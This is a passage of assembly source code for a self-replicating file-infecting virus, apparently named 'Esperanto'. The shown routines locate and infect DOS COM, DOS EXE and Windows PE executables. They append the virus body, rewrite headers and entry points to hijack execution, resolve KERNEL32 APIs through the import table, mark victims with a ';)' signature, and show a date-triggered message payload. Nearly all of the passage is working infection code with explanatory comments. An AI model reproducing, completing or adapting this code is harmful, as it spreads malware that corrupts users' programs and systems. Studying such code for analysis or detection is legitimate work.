mov ah,40h ; And append our virus
mov cx,espo_file_size ; body to it... now
lea dx,espo_start ; it has grown 4733
int 21h ; charming bytes :P
pop word ptr ds:[newexe_cs] ; Restore relocation
pop word ptr ds:[newexe_ip] ; pointers for CS:IP
mov ah,40h ; And write the cool
mov cx,reloc_size ; relocation item :)
lea dx,reloc_start ; Now the file is
int 21h ; 4743 bytes bigger!
jmp go_away ; Close it and exit
; ÄÄ´ PE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_pe: call lseek_start ; Lseek to the start
mov ah,3fh ; of the file and
mov cx,41h ; read again the first
mov dx,si ; 41h bytes of the MZ
int 21h ; header to rebuild it
call lseek_start ; Lseek to start again
add word ptr ds:[si+MZ_lfanew],8 ; Update the pointer
mov ah,40h ; to the new EXE header
mov cx,40h ; by readding 8 to it
mov dx,si ; and write the MZ
int 21h ; header back
mov dx,word ptr ds:[di] ; Now lseek to the
call lseek_middle ; PE header (in [3ch])
mov ah,3fh ; Read one page from
mov cx,200h ; it to our buffer
mov dx,si ; and point it both
int 21h ; with DS:DX and DS:SI
mov bp,si ; Also DS:SI = DS:BP
lodsd ; First doubleword
mov ax,word ptr ds:[si+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz go_away
; We don't want neither
test ax,IMAGE_FILE_DLL ; DLLs nor non-exec PE
jnz go_away ; files, just skip them
; Get number of sections of the PE file
; and then point the first section with EDI
movzx ecx,word ptr [si+FH_NumberOfSections]
movzx edi,word ptr [si+FH_SizeOfOptionalHeader]
add si,IMAGE_SIZEOF_FILE_HEADER
add edi,esi
s_image_sect: mov eax,dword ptr ds:[si+OH_DataDirectory\
.DE_Import\
.DD_VirtualAddress]
mov edx,dword ptr ds:[di+SH_VirtualAddress]
sub eax,edx
; Now we're looking for the section in which
; the import table is found. This is usually
; the .idata section, but we make sure by
; means of checking if the address of the
; imports directory is inside this section
cmp eax,dword ptr ds:[di+SH_VirtualSize]
jb section_is_ok
; In case it's not, we point to the header
; of the next section with EDI, and keep on
; doing the same until we find it
add di,IMAGE_SIZEOF_SECTION_HEADER
loop s_image_sect
jmp go_away
; Now get a pointer to the first import
; module descriptor in EAX so we may
; look for KERNEL32.DLL thru this array
section_is_ok: add eax,dword ptr ds:[di+SH_PointerToRawData]
mov dword ptr ds:[rawdata_ptr],eax
sub edx,eax
push edx
; Get absolute address to this array
; in EDX and lseek to it in order to
; read 4096 to our buffer, so we may
; look for the KERNEL32.DLL descriptor
mov edx,eax
call lseek_middle
mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
int 21h
; Restore EDX and point both with EAX and
; EBP to the array of imported modules
pop edx
mov eax,ebp
; Get the RVA of the Import Module
; Descriptor in ESI and later check
; if it actually exists or not (=0)
next_imd_imge: mov esi,dword ptr ds:[bp+ID_Name]
lea edi,kernel32_n
or esi,esi
jz go_away
; Now get the address of the name of
; the IMD and check if it's the one
; we're looking for (KERNEL32.DLL)
push eax ebp
sub esi,edx
sub esi,dword ptr ds:[rawdata_ptr]
add esi,eax
mov ecx,8
; Get a character from DS:ESI, check its
; case, convert it if necessary to uppercase
; and then compare the strings pointed by
; DS:ESI and DS:EDI (-> KERNEL32.DLL)
dll_lewp: lodsb
cmp al,'a'
jb check_charct
sub al,('a'-'A')
check_charct: scasb
jne more_imd_imge
loop dll_lewp
; Name matched, restore registers
pop edi
push es bx
; Get file date/time and check if it is a
; binded file (date 24/08/95, time 9:50)
mov ah,2fh
int 21h
cmp dword ptr es:[bx+16h],1f184e40h
je go_away
; Don't infect it in case it is binded.
; Otherwise point the table of imported
; addresses from the current module (K32)
; and look for some necessary RVAs
pop bx es ebp
mov esi,dword ptr [di+ID_FirstThunk]
sub esi,edx
mov dword ptr ds:[thunk_offset],esi
push edx
; Lseek to the absolute offset and read
; 4096 bytes to our buffer so we may look
; for the RVAs of the APIs we need
mov edx,esi
call lseek_middle
mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
mov si,dx
int 21h
; Now let's go for GetModuleHandleA. We
; need the RVA of this API because it is
; necessary to call it in order to know
; the base address of KERNEL32.DLL
pop edx
push esi
lea edi,gmhandle_n
call search_name
mov dword ptr ds:[gmhandle_rva],eax
; Our next and last objective is the API
; GetProcAddress, which helps us in order
; to find the address of any API we look
; for of a given module or library
pop esi
lea edi,gpaddress_n
call search_name
mov dword ptr ds:[gpaddress_rva],eax
jmp infect_pe
; Go to next imported module descriptor
more_imd_imge: pop ebp eax
add ebp,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp next_imd_imge
; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_pe: inc byte ptr ds:[inf_counter] ; Increment inf.counter
mov si,bp ; SI = BP -> read buffer
mov dx,word ptr ds:[winexe_offset] ; Lseek to the PE
call lseek_middle ; header ([3c8h])
mov ah,3fh ; And read 4096 bytes
mov cx,1000h ; from it to our read
mov dx,si ; buffer, pointing it
int 21h ; with DS:DX and DS:SI
; Get the RVA of the last section header in
; EDI. Here's where we're going to copy our
; code, so no new sections are needed and
; we're not so easily discovered in a file
cld
lodsd
mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr ds:[esi+FH_NumberOfSections]
dec ecx
mul ecx
movzx edx,word ptr ds:[esi+FH_SizeOfOptionalHeader]
add eax,edx
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,esi
mov edi,eax
; Now get the old entry point and store its
; RVA in a dynamic variable of our code we
; will use in order to jump back to our host
push dword ptr ds:[esi+OH_AddressOfEntryPoint]
pop dword ptr ds:[entry_rva]
; Get original file size and store it for
; later use during the PE infection process
push es bx
mov ah,2fh
int 21h
mov eax,dword ptr es:[bx+1ah]
pop bx es
; Calculate new entry point by means of the
; original file size and our memory size, and
; save it as the new AddressOfEntryPoint
push eax
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
add eax,dword ptr ds:[edi+SH_VirtualAddress]
add ax,offset espow32_start
mov dword ptr ds:[esi+OH_AddressOfEntryPoint],eax
; And store the RVA of the base address, not
; forgetting to add the dseta offset to it
add eax,dseta_offset
mov dword ptr ds:[base_address],eax
; Get new size of VirtualSize
pop eax
add ax,espo_file_size
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
push eax
add ax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr ds:[edi+SH_VirtualSize]
jbe virtual_ok
mov dword ptr ds:[edi+SH_VirtualSize],eax
virtual_ok: pop eax
; And now the new size of SizeOfRawData
add ax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr ds:[edi+SH_SizeOfRawData],eax
; Set section characteristics to execute, read
; and write access, so Esperanto will not find
; any problem when performing its functioning
or dword ptr ds:[edi+SH_Characteristics],\
IMAGE_SCN_MEM_EXECUTE or\
IMAGE_SCN_MEM_READ or\
IMAGE_SCN_MEM_WRITE
; Update the SizeOfImage pointer
mov eax,dword ptr ds:[esi+OH_SizeOfImage]
add ax,espo_file_size
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr ds:[esi+OH_SizeOfImage],eax
; Lseek to the offset of the PE header and
; rewrite the recently modified and updated
; one the infected file will use from now
mov dx,word ptr ds:[winexe_offset]
call lseek_middle
mov ah,40h
mov cx,1000h
mov dx,bp
int 21h
; And now finally lseek to the end of the
; file and append our code to the PE file
; we've just infected - we can go away
call lseek_end
mov ah,40h
mov cx,espo_file_size
lea dx,espo_start
int 21h
jmp go_away
; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
;
; Note: the following subroutines are used by the DOS and Windows 3.1x mo-
; dules, in order to perform many repeated actions such as lseeking to the
; start or the end of a file, finding RVAs, and so on.
; ÄÄ´ Lseek to the start of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ BX => file handle
; þ File pointer somewhere in the file
;
; Exit:
; þ BX => file handle
; þ File pointer in the start of the file
lseek_start: mov ax,4200h ; Lseek function, with
xor cx,cx ; AL, CX and DX = 0,
cwd ; ie, lseek to start of
int 21h ; the file in BX
ret ; And go back to code
; ÄÄ´ Lseek to the middle of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ BX => file handle
; þ DX => seek offset
; þ File pointer somewhere in the file
;
; Exit:
; þ BX => file handle
; þ File pointer = previous DX value
lseek_middle: mov ax,4200h ; Lseek function, the
xor cx,cx ; offset where to seek
int 21h ; is specified in CX
ret ; Return to our caller
; ÄÄ´ Lseek to the end of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ BX => file handle
; þ File pointer somewhere in the file
;
; Exit:
; þ BX => file handle
; þ File pointer in the end of the file
lseek_end: mov ax,4202h ; Lseek function, with
xor cx,cx ; AL=2 (from bottom),
cwd ; CX and DX equal to
int 21h ; zero -> lseek to end
ret ; Return to main code
; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ EDX => Section ëelta-offset
; þ DS:ESI => Import address table for KERNEL32.DLL
; þ DS:EDI => Given API name to look for
; þ EBP => Buffer start address
;
; Exit:
; EAX => RVA of the given IMD, or 0 if error
search_name: push ds
pop es
; Look for a given API (in EDI) whose RVA we
; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (DS:ESI)
lodsd
or eax,eax
jz inp_notfound
; Once found, we get a pointer to the first
; function name of this structure, and compare
; it with the name of the API we look for
push esi edi
sub eax,edx
sub eax,dword ptr ds:[thunk_offset]
lea esi,dword ptr ds:[eax+ebp+2]
namebyname: lodsb
or al,al
jz inputfound
scasb
je namebyname
pop edi esi
jmp search_name
; In case names match, we go and get the
; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching
inputfound: pop edi esi
lea eax,dword ptr ds:[esi-4]
add eax,dword ptr ds:[thunk_offset]
jmp stupid_jump
; I know this jump is completely stupid
; and non-sense, but i felt like to write
; such a fool thing when writing the virus
; and i decided to keep it :)
db '29A'
; We calculate the RVA and return it in
; EAX so it may be later stored in its
; corresponding dynamic variable
stupid_jump: sub eax,ebp
add eax,edx
ret
; If we couldn't find the RVA of the API,
; then we return with EAX equal to zero
inp_notfound: xor eax,eax
ret
; ÄÄ´ Check system conditions before infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Entry:
; þ BX => handle of possible victim
; þ Infection counter holding a value 0-3
; þ Infection timer holding a certain value
;
; Good exit:
; þ AH => 2ch
;
; Exit with error:
; þ AH => 0
; þ Infection counter set to 0
; þ Infection timer updated
system_checks: mov ah,2ch ; Get system time to
int 21h ; do our inf.checks
cmp byte ptr ds:[inf_counter],3 ; Have we already
jb check_time ; infected 3 files?
mov byte ptr ds:[inf_counter],al ; Yes, update the
jmp set_error ; infection counter
check_time: cmp byte ptr ds:[inf_timer],cl ; Are we still in the
jb go_for_it ; same minute?
set_error: cbw ; Set AH=0
mov byte ptr ds:[inf_timer],cl ; Update the timer
go_for_it: ret ; And return
; Í͹ Win32 module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
.386p ; Intel 80386+ PMODE
espow32_start label byte ; Define 32-bit start
first_entry: push eax ; Push for later use
pe_entry: pushad ; Push all the stuff
call delta_offset ; Get ëelta-offset
dseta_byte label byte ; Dseta-offset marker
delta_offset: pop ebp ; Get return address
mov ebx,ebp ; Store it in EBX
sub ebp,offset delta_offset ; Get ëelta in EBP
; Get the base address of our host in
; EBX, by means of substracting its
; RVA, stored during the PE infection
db 81h,0ebh
base_address dd offset first_entry-base_default+dseta_offset
; Now get the return address, ie, the
; original entry point of the PE file,
; in EAX and push it onto the stack
; for later use during our execution
db 0b8h
entry_rva dd offset exit_process-base_default
add eax,ebx
mov dword ptr [esp+20h],eax
; The following step consists on getting
; the RVA of GetModuleHandleA in EAX, so
; we may get the base address of KERNEL32
db 0b8h
gmhandle_rva dd offset gmhandle_a-base_default
or eax,eax
jz get_kernel32
push dword ptr [eax+ebx]
pop dword ptr [ebp+gmhandle_a]
; If everything has gone ok, we're now
; about to call the GetModuleHandle API
; in order to know KERNEL32's address.
; Otherwise we had to jump to our own
; routine which gets this value by means
; of undocumented features of Windows95
; (not valid for the rest of Win32!)
lea eax,dword ptr [ebp+kernel32_n]
push eax
lea eax,dword ptr [ebp+gmhandle_a]
call dword ptr [eax]
or eax,eax
jz get_kernel32
kernel_found: mov dword ptr [ebp+kernel32_a],eax
; Once we've found the base address of
; KERNEL32 it's necessary to use the API
; GetProcAddress in order to look for
; the addresses of the functions we need
; to use in our code in order to work
db 0b8h
gpaddress_rva dd offset gpaddress_a-base_default
or eax,eax
jz get_gpaddress
gpadd_found: push dword ptr [eax+ebx]
pop dword ptr [ebp+gpaddress_a]
; Point to the start of the table of API
; names with ESI, and to the start of the
; table of API addresses with EDI, holding
; the number of needed API functions in
; ECX, and then call GetProcAddress so we
; may fill the table of API addresses with
; the current valid values for our APIs
cld
mov ecx,(offset api_names_end-offset api_names)/4
lea esi,dword ptr [ebp+api_names]
lea edi,dword ptr [ebp+api_addresses]
find_more_api: lodsd
add eax,ebp
push ecx esi edi eax
push dword ptr [ebp+kernel32_a]
lea eax,dword ptr [ebp+gpaddress_a]
call dword ptr [eax]
pop edi esi ecx
or eax,eax
jz jump_to_host
cld
stosd
loop find_more_api
; ÄÄ´ Payload checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Now it's time to check for our activation
; date (july 26th, when, in 1887, the first
; book written in Esperanto, "Internacia
; Lingvo", was published), so we first use
; the API GetLocalTime to get the date
lea eax,dword ptr [ebp+time_table]
push eax
lea eax,dword ptr [ebp+glocaltime_a]
call dword ptr [eax]
; Check for july
cmp word ptr [ebp+system_month],7
jne find_first
; Now check for the 26th
cmp word ptr [ebp+system_day],1ah
jne find_first
; At this point we're sure about the fact
; that today is our activation date, so
; we call the API LoadLibraryA in order
; to load the USER32.DLL module (for the
; case our host does not load it)
lea eax,dword ptr [ebp+user32_n]
push eax
lea eax,dword ptr [ebp+loadlibrary_a]
call dword ptr [eax]
or eax,eax
jz jump_to_host
; Next step consists on decrypting the
; internal text used in the payload,
; which is hidden behind a stupid "not"
; encryption... just do it (Nike) :P
mov ecx,text_size
lea esi,dword ptr [ebp+text_start]
mov edi,esi
decrypt_text: lodsb
not al
stosb
loop decrypt_text
; Once this is done, it's necessary to
; call again GetProcAddress in order to
; get the address of the API MessageBoxA
lea esi,dword ptr [ebp+messagebox_n]
lea edx,dword ptr [ebp+gpaddress_a]
push esi eax
call dword ptr [edx]
or eax,eax
jz jump_to_host
; And now we've done almost everything
; in the payload... just call the API,
; show the text and jump to the host (no
; infection in Esperanto's only holiday)
push 1000h
lea esi,dword ptr [ebp+virus_author]
lea edi,dword ptr [ebp+virus_text]
push esi edi 0
call eax
jmp jump_to_host
; ÄÄ´ File searching routine (FindFirstFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Look for first file in current directory
; by means of the API FindFirstFileA, and
; increment the infection counter byte
find_first: mov byte ptr [ebp+inf_counter],0
lea eax,dword ptr [ebp+finddata]
lea edx,dword ptr [ebp+wildcard]
push eax edx
lea eax,dword ptr [ebp+findfirst_a]
call dword ptr [eax]
cmp eax,0ffffffffh
je jump_to_host
; ÄÄ´ File checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Save the handle of the found file and
; check for its size, just to see if it's
; a too small file to be infected
mov dword ptr [ebp+srchandle],eax
check_victim: cmp dword ptr [ebp+finddata+WFD_nFileSizeHigh],0
jne find_next
cmp dword ptr [ebp+finddata+WFD_nFileSizeLow],\
0fffffc17h-espo_file_size
jae find_next
; The file size is ok, now let's memory-map
; it and do further checks about its main
; characteristics, to know if it's a good
; file to infect with our viral code
call open_map_file
or ebx,ebx
jz find_next
; First of all, check for its extension to
; be COM or EXE. I used a stupid waste of
; bytes here, but i was kinda drunk when i
; did it (check for a dot instead of the end
; of the ASCIIZ string), so i thought it was
; fun not to modify it... it works :)
cld
lea esi,dword ptr [ebp+finddata+WFD_szFileName]
find_dot: inc byte ptr [ebp+max_path_size]
cmp byte ptr [ebp+max_path_size],0ffh
je unmap_n_close
lodsb
cmp al,'.'
jne find_dot
; Is it a COM file?
dec esi
lodsd
cmp eax,'MOC.'
je check32_com
; Maybe an EXE file?
cmp eax,'EXE.'
jne unmap_n_close
; Seems so... first check for the MZ mark
; as the first doubleword in the header
; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check32_exe: cmp word ptr [ebx],'ZM'
jne unmap_n_close
; Now check for our infection mark (";)")
cmp word ptr [ebx+MZ_csum],');'
je unmap_n_close
; If file has not been infected, then
; set the winky smiley as checksum, and
; check for the number of overlays
mov word ptr [ebx+MZ_csum],');'
cmp word ptr [ebx+MZ_ovno],0
jne unmap_n_close
; Don't infect PkLited EXEs
cmp word ptr [ebx+MZ_res+2],'KP'
je unmap_n_close
; Now check for the Windows file mark
cmp word ptr [ebx+MZ_lfarlc],40h
je check32_pe
; At this point we know it is a DOS EXE
; file... we're gonna infect it for sure
; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect32_exe: mov byte ptr [ebp+file_flag],'E'
inc byte ptr [ebp+inf_counter]
call unmap_close
; Only EXEs < 65535, because of the "div"
; problem referenced in the virus description
; which is found at the start of this file
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
cmp eax,0ffffh
jnb unmap_n_close
; Remap the file with our size added
push eax
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good
; Calculate the new CS by means of first
; getting the size header in paragraphs
pop eax
push eax
mov ecx,10h
cdq
div ecx
sub ax,word ptr [ebx+MZ_cparhdr]
; Update new CS and store the old one
push ax
xchg word ptr [ebx+MZ_cs],ax
mov word ptr [ebp+exe_cs],ax
pop ax
; And now update the IP pointer, which
; is equal to zero, that is, the start
; of the virus which jumps straight to
; the COM and EXE entry
push dx
xchg word ptr [ebx+MZ_ip],dx
mov word ptr [ebp+exe_ip],dx
pop dx
; Now calculate SS and SP
add edx,espo_file_size+320h
and dl,0feh
; Update SS
xchg word ptr [ebx+MZ_ss],ax
mov word ptr [ebp+exe_ss],ax
; Update SP
xchg word ptr [ebx+MZ_sp],dx
mov word ptr [ebp+exe_sp],dx
pop eax
; Calculate the new number of bytes in last
; page and of pages in EXE file, and update
; the corresponding pointers in the MZ header
add eax,espo_file_size
mov ecx,200h
cdq
div ecx
inc eax
mov word ptr [ebx+MZ_cblp],dx
mov word ptr [ebx+MZ_cp],ax
; And finally append our code to the end of
; the EXE file we've just infected. The MZ
; header will be overwritten to the old one
; as soon as the file is unmapped, no need
; to lseek to the start and write it
cld
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
mov edi,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub edi,ecx
add edi,ebx
rep movsb
jmp unmap_n_close
; Check if the COM file has been previously
; infected by Esperanto (winky ";)" smiley)
; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check32_com: cmp word ptr [ebx+3],');'
je unmap_n_close
; If not, set the file flag, increment the
; infection counter and memory map the file
; with our size previously added
; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect32_com: mov byte ptr [ebp+file_flag],'C'
inc byte ptr [ebp+inf_counter]
call unmap_close
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good
; Store old COM header in our buffer
cld
mov ecx,5
push ecx
mov esi,ebx
lea edi,dword ptr [ebp+old_com_header]
rep movsb
; Calculate the jump to the COM and EXE
; entry point of the virus (once appended)
; and store it in the buffer of the new
; COM header ("0e9h,?,?,;)"). Then copy
; it to the first five bytes of the file
pop ecx
lea esi,dword ptr [ebp+new_com_header]
mov edi,ebx
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub eax,espo_file_size
push eax
sub eax,3
mov word ptr [esi+1],ax
rep movsb
; And finally append the viral code to
; the end of the COM file, unmap it and
; go look for more files to infect
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
jmp unmap_n_close
; Check if the new EXE file is a PE, by
; first comparing the starting doubleword
; of the new header with "PE"
; ÄÄ´ PE files check routine (I) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check32_pe: mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
cmp eax,'EP'
jne unmap_n_close
; If this is ok, now check if the file is
; executable and if it is not a DLL
mov ax,word ptr [esi+FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz unmap_n_close
test ax,IMAGE_FILE_DLL
jnz unmap_n_close
; Get number of sections of the PE file
; and then point the first section with EDI
movzx ecx,word ptr [esi+FH_NumberOfSections]
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi
s_img_section: mov eax,dword ptr [esi+OH_DataDirectory\
.DE_Import\
.DD_VirtualAddress]
mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
; Now we're looking for the section in which
; the import table is found. This is usually
; the .idata section, but we make sure by
; means of checking if the address of the
; imports directory is inside this section
cmp eax,dword ptr [edi+SH_VirtualSize]
jb section_ok
; In case it's not, we point to the header
; of the next section with EDI, and keep on
; doing the same until we find it
add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
jmp unmap_n_close
; Now get a pointer to the first import
; module descriptor in EAX so we may
; look for KERNEL32.DLL thru this array
section_ok: add eax,dword ptr [edi+SH_PointerToRawData]
sub edx,eax
add eax,ebx
; Get the RVA of the Import Module
; Descriptor in ESI and later check
; if it actually exists or not (=0)
next_imd_img: mov esi,dword ptr [eax+ID_Name]
lea edi,dword ptr [ebp+offset kernel32_n]
or esi,esi
jz unmap_n_close
; Now get the address of the name of
; the IMD and check if it's the one
; we're looking for (KERNEL32.DLL)
push eax
mov ecx,8
sub esi,edx
add esi,ebx
; Get a character from ESI, check its case,
; convert it if necessary to uppercase and
; then compare the strings pointed by ESI
; and EDI, to see if we find KERNEL32.DLL
dll_loop: lodsb
cmp al,'a'
jb check_char
sub al,('a'-'A')
check_char: scasb
jne more_imd_img
loop dll_loop
; Save the ID_ForwarderChain pointer in the
; dynamic variable which corresponds to the
; KERNEL32.DLL RVA, as we will need it to
; find the base address of this module if
; the calling process to GetModuleHandleA
; was not successful (this is undocumented)
pop edi
lea eax,dword ptr [edi+ID_ForwarderChain]
sub eax,ebx
add eax,edx
mov dword ptr [ebp+kernel32_rva],eax
; Get the time/date stamp of KERNEL32.DLL
; into EAX in order to compare it with the
; corresponding stamp of the file we're
; about to infect, as we don't want to hit
; any binded executable PE file
mov eax,dword ptr [ebp+kernel32_a]
mov esi,dword ptr [eax+IMAGE_DOS_HEADER.MZ_lfanew]
add esi,eax
add esi,NT_FileHeader.FH_TimeDateStamp
lodsd
; Determine if file is binded. If not, jump
; and go find the RVA of the APIs needed in
; the working process of Esperanto
mov esi,dword ptr [edi+ID_FirstThunk]
sub esi,edx
add esi,ebx
cmp eax,dword ptr [edi+ID_TimeDateStamp]
jne find_rvas
; ÄÄ´ File searching routine (FindNextFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Memory unmap file handled in EBX, check
; the infection counter and, if everything
; is ok, look for more files to infect
unmap_n_close: call unmap_close
find_next: cmp byte ptr [ebp+inf_counter],3
je jump_to_host
lea eax,dword ptr [ebp+finddata]
push eax
push dword ptr [ebp+srchandle]
lea eax,dword ptr [ebp+findnext_a]
call dword ptr [eax]
or eax,eax
jnz check_victim
; Nothing else to do, close the search
; handle and jump to the original entry
; point of the code of our host
push dword ptr [ebp+srchandle]
lea eax,dword ptr [ebp+findclose_a]
call dword ptr [eax]
jump_to_host: popad
ret
; ÄÄ´ PE files check routine (II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Go to next imported module descriptor
more_imd_img: pop eax
add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp next_imd_img
; Now let's go for GetModuleHandleA. We
; need the RVA of this API because it is
; necessary to call it in order to know
; the base address of KERNEL32.DLL
find_rvas: push esi
lea edi,dword ptr [ebp+gmhandle_n]
call look4name
mov dword ptr [ebp+gmhandle_rva],eax
; Our next and last objective is the API
; GetProcAddress, which helps us in order
; to find the address of any API we look
; for of a given module or library
pop esi
lea edi,dword ptr [ebp+gpaddress_n]
call look4name
mov dword ptr [ebp+gpaddress_rva],eax
; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Increment infection counter and remap our
; victim in memory with the virus size added
infect32_pe: inc byte ptr [ebp+inf_counter]
call unmap_close
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good
cld
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd
; Get the RVA of the last section header in
; EDI. Here's where we're going to copy our
; code, so no new sections are needed and
; we're not so easily discovered in a file
mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mul ecx
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
add eax,edx
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,esi
mov edi,eax
; Now get the old entry point and store its
; RVA in a dynamic variable of our code we
; will use in order to jump back to our host
push dword ptr [esi+OH_AddressOfEntryPoint]
pop dword ptr [ebp+entry_rva]
; Get original file size and store it for
; later use during the PE infection process
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub eax,espo_file_size
push eax
; Calculate new entry point by means of the
; original file size and our memory size, and
; save it as the new AddressOfEntryPoint
sub eax,dword ptr [edi+SH_PointerToRawData]
add eax,dword ptr [edi+SH_VirtualAddress]
add eax,offset espow32_start
mov dword ptr [esi+OH_AddressOfEntryPoint],eax
; And store the RVA of the base address, not
; forgetting to add the dseta offset to it
add eax,dseta_offset
mov dword ptr [ebp+base_address],eax
; Get new size of VirtualSize
mov eax,dword ptr [ebp+finddata.WFD_nFileSizeLow]
sub eax,dword ptr [edi+SH_PointerToRawData]
push eax
add eax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe virtsize_ok
mov dword ptr [edi+SH_VirtualSize],eax
virtsize_ok: pop eax
; And now the new size of SizeOfRawData
add eax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr [esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr [edi+SH_SizeOfRawData],eax
; Set section characteristics to execute, read
; and write access, so Esperanto will not find
; any problem when performing its functioning
or dword ptr [edi+SH_Characteristics],\
IMAGE_SCN_MEM_EXECUTE or\
IMAGE_SCN_MEM_READ or\
IMAGE_SCN_MEM_WRITE
; Update the SizeOfImage pointer
mov eax,dword ptr [esi+OH_SizeOfImage]
add eax,espo_file_size
mov ecx,dword ptr [esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax
; And finally append the virus body to the
; the end of the PE file we've just infected,
; unmap it and go look for more victims
